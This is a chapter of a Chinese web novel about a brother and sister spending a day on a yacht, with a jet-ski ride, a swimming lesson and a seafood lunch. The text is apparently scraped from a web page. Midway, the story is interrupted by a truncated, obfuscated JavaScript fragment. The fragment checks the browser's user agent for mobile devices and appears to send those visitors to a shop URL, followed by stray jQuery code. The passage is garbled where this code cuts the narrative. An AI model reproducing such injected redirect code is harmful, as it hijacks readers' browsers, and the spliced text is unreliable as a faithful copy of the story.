当随行人员将游艇的固定舷梯放下时,闻晓先走了上去,却在快升上甲板的时候又停下来,害得闻菁的头撞上了他的背。

    “怎么了?”闻菁捂着头说。

    还没得到回答,就被闻晓拦腰抱起,你做什么,她想这么说,却只有心跳愈演愈烈。

    “拖鞋太滑了,怕你摔下去。”闻晓把她放在空旷平坦的甲板上,温柔地摸摸她被撞痛的头,解释道。

    哦。

    “你不是也穿的拖鞋吗?”她看着闻晓走上来,垂落目光,意有所指。

    “我?”闻晓低头看了一眼自己的脚,好像这才意识到自己穿的也是拖鞋一般,他抬起头看向她时,又露出一个讨好又亲昵的笑,“哥哥摔倒可以给妹妹当肉垫。”

    这话叫人如何责怪呢?

    没有办法。

    游艇一层主甲板区是酒吧、户外座位区和室内泳池,泳池正后方是室内休息区,休息区的沙发和餐厅由电视墙一比一分割开,而珍惜昂贵的巴西玫瑰木、玛卡萨乌木在这里随处可以见。

    显然这还不是一层的全部,可闻菁已经走得精疲力尽,累得一屁股坐在室内休息区的沙发上。

    闻晓坐到她身边,问她中午想吃什么。

    中午?

    没想好,只知道分别的时间越来越近了。

    闻菁坐在沙发上,觉得两人这么近、却又那么远。说不出挽留的话,也无法将对方留下。无可避免,脑海中浮现了那句话——爱是恒久忍耐,又有恩赐。回答他的问题,“随便。”

    好像已经习惯了她的回答,又或是她的回答根本无关紧要,闻菁无从得知。她听见身边的闻晓说,“好。”

    “去甲板上吗?”他又接着开口。

    “好。”

    露天的沙发皮质不像室内的沙发那么柔软,闻菁倚靠在沙发上,无所事事,看着海面,想要跳水。

    闻晓好像有读心术,“想下去玩吗?”

    虽然闻菁已经说过几次与人设的不符的话,但此刻却知道自己的人设是不会水的。毕竟在穿越来之前,这具身体就差点被水淹死。

    “有点。”对他,不想撒谎,同时也无法违背自己的心意,最终还是老实回答。

    “我带你下去?”坐在对面的男人说。

    “哥哥会游泳?”她看着他,问。

    “不会。”

    ?

    不会怎么带?两个人一起淹死?

    旱鸭子闻晓看着她脸上疑惑的表情,忍不住想笑。

    “下去不就知道了。”说着,闻晓从沙发里站起身,做一个神秘莫测的古怪表情,冲她招招手。

    无法不答应。

    闻菁走过去,跟着闻晓下楼梯,眼前是一艘摩托艇。

    她会开,但却不能亲自上手,只能让闻晓来,不知道闻晓会不会,她问,“你会开?”

    “哥哥有证。”

    没想到闻晓还有如此臭屁的一面,她噗嗤一声笑出来。

    “笑什么?”闻晓问,却也被她的笑声感染,跟着笑了。

    “你好臭屁。”

    “哪有。”

    “好,没有。”

    闻晓用西语跟摩托艇旁的人说了什么,又来对她说,“妹妹先上。”

    闻菁指着自己,“我来开?”

    “嗯。”

    事实上,学会了一项技能后,要装不会比装会还难,身体的反应时不时就会代替大脑做出出卖自己的事。

    闻菁僵硬地爬上摩托艇,裙子里的长裤裤脚瞬间被飘扬的海水润湿。

    正准备装作不会到处摸索一番,身下的摩托艇一摇一斜一沉,后背贴上一个温暖宽阔的胸膛,两只胡乱抓取的手被握住搭在手柄上,一个下巴落在她的肩头,醇厚低沉的声音在耳畔响起,“抓稳,一定不可以放手。”

    闻菁浑身一个激灵,点点头,闻晓的头离开她的肩膀,她两侧的腿也靠在他的腿上,只有毫米的棉麻长裤做格挡。

    在他的怀抱中,紧紧依靠。

    摩托艇冲出去。

    视线内的海,除了他们两人,什么也没有。

    连飞鸟也不见,太阳明亮温暖,不晒不烤、不刺痛任何人的皮肤。世界这么温柔,像孩子在母亲的子宫里。它只拥抱他们两个人入怀,让两人肆意地飞翔,一望无际的大海能带他们去任何地方。

    “喔吼——”闻晓开心的声音在头顶后方响起,身后的胸腔在震动,她的心也跟着摇摆兴奋起来。

    回头去看一眼,那艘游艇保持着安全距离跟在他们身后,廊上站在两个救生员,闻菁转回头看向前方。不会发生任何事故,想要返航就可以返航,想要向前就可以向前,安全地幸福,放肆的自由。

    回到甲板上。

    两人洗了澡,换掉被海水打湿的衣服,闻菁从浴室出来,想去甲板山晒太阳。经过室内泳池,看见闻晓泡在水里,旁边是教练,他要学游泳。

    闻菁莫名其妙,他晚上不是就要离开吗?这么短的时间,不好好休息,还学游泳?真是精力旺盛。

    她不学,坐在泳池旁的椅子上,看着闻晓在水里扑腾,忍不住笑。

    闻晓听到她的笑声,脚落到池底,站定,用手掌舀起水来泼她。

    奈何太远,水只落在了泳池里,她身上依旧干爽。看到闻晓根本没泼到,她笑得更大声了。

    泳池里的人不再做这样的无用功,继续开始学游泳。

    35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16164084|180253||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    >教练问她要不要学。

    闻菁摇摇头。

    见她摇头,教练补充,“船上还有女教练。”

    闻菁依旧摇摇头,说不用。

    倒不是她有多懒,只是她自己会游泳,一学,跟旁边真正的初学者闻晓一对比,不就暴露了。

    为了杜绝掉任何被拉下水的可能性,闻菁到室内休息区的沙发上,开始看电视。

    电视墙后酒吧里的侍应生问她想喝什么。

    “不要酒精,不要太甜,随便什么。”

    *

    闻菁坐在沙发上看电视,不时喝一口刚送来的抹茶饮品。

    时间很快就过去,闻菁看电视忘记了时间,闻晓游泳也没看时间,快下午三点,两人才到餐厅里吃午饭。

    桌上满碟,闻菁坐到座位里,扫一眼,很多海鲜,北海道帝王蟹、蓝鳍金吞拿鱼、挪威海参斑、法国布列塔尼蓝龙虾、贝隆生蚝……将每个都尝一遍,胃快被塞满,她才终于发现了自己最喜欢吃的一道菜,也不能说是菜,因为这桌上她觉得最好吃的是野猪肉酱宽带意面。

    闻菁:“……”

    看一眼旁边的人,闻晓正在很冷静地品尝着桌上的菜肴。

    对,冷静,真是奇怪的一幕画面。

    感受到她的目光,闻晓看过来,“没有爱吃的?”

    也不算,她回,“吃饱了。”

    闻晓意会,点点头,自己放下手中筷子,却又嘱咐她:“再多吃一点。”

    真吃不下了。

    好吧,再吃一点。无意识妥协了,她又叉了一卷意面到碗里,吃完。抬头,身侧的闻晓正看着她。

    ?

    闻菁疑惑。

    男人抽了两张抽纸,擦掉沾在她嘴角上的肉酱。

    将嘴里的意面咽下去,她开口,“你吃饱了?”

    “嗯。”

    闻晓对食物好像完全没有欲望,完成任务一般,机械地吃一点,只尝几个碟子里的东西,一副活着就行的样子。

    该多吃一点的人是他才对吧。心里忍不住吐槽。

    虽然自己的身体确实太瘦了。

    唉,无法反驳。

    事实胜雄辩。

    只好用行动来抗议,“你多吃一点。”她说着,用叉子又卷了一卷意面,但这次却放到了闻晓面前的盘子里。

    “好。”没有任何怨言,说着吃饱了的闻晓,将盘子里的意面乖乖吃完了。

    她又卷一卷放进盘子里。

    闻晓依旧乖乖吃完。

    还想再伸手,手被一只热而暖的大手握住。

    “哥哥吃不下了。”

    “哦。”

    好吧,点到为止,我放过你了。